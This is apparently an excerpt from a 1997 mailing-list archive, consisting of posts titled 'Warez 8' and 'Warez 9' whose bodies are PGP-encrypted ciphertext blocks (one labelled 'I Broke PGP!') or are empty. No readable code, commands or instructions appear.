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
0vL5Ivf7vlgKlqGDNtdo8IpDvgzMRtV8WfZl
=8mtb
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:23:21 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:23:21 +0800
Subject: Warez 9
Message-ID: <199712180815.AAA15944@toad.com>









From hg-p at dev.null  Thu Dec 18 00:26:04 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:26:04 +0800
Subject: Warez 8
Message-ID: <199712180815.AAA15939@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
